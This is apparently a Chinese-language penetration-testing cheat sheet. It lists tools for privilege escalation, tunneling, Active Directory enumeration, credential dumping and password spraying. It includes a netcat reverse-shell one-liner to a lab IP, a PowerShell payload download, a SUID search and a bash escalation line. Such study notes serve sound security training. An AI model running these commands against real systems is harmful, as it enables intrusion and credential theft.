【總覽】Tools

常用網站

提權

- g0tmi1k(Linux 提權)
- gtgobins (提權查詢)

```
echo 'exec "/bin/bash"' > app.rb
```

編碼

- CyberChef (編碼)
- programiz (pyhon onlin ide)re

寫作

- markdowntohtml.com (markdown to html)

reverse shell

- Online - Reverse Shell Generator (revshells.com)

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.145.128 4444 >/tmp/f
```

連線

remote desk top

- xfreerdp

portforward

- socat (臨時)
- rinetd (長期，多port設定)

橫移

- PsExec (AD橫移)

Tunnel

- chisel (Http Tunneling)
- dnscat2 (Dns Tunneling)

分享

smb

- wsgidav

apache

- systemctl start apache2

python

- python3 -m http.server 80

列舉

- namp (ip, port 掃描)
- masscan (port 掃描)
- rustscan (port 掃描)
- pspy (linux process 監聽) https://github.com/DominicBreuker/pspy
- getcap (uid 設置檔案)
- mimikatz (AD 雜湊提取)
- PowerView (AD 列舉)
- Sharphound (AD 列舉) + BloodHound (圖形化分析)
- linuxlinpeas (AD 弱點掃描)
- Seatbelt (AD 弱點掃描)
- searchsploit (漏洞掃描)

提權

- gtgobins (提權查詢)
- linuxunix-privesc-check (linux提權掃瞄)

Windows 權限(提權)

- SeManageVolumePrivilege

```
find / -perm -u=s -type f 2>/dev/null | grep -v 'snap'
```

字典

- crunch (密碼字典生成)

密碼破解

- Hydra (ssh 暴力破解)
- hashcat (hash 破解)
- crackmapexec (AD 密碼噴灑 (SMB))
- Spray-Passwords (AD 密碼噴灑)
- kerbrute (密碼噴灑 (TGT))

漏洞確認

AS-REP Roasting

- GetNPUsers
- Rubeus

Powershell

- iwr (檔案下載)
  iwr -uri http://192.168.45.175/winPEASx64.exe -Outfile winPEAS.exe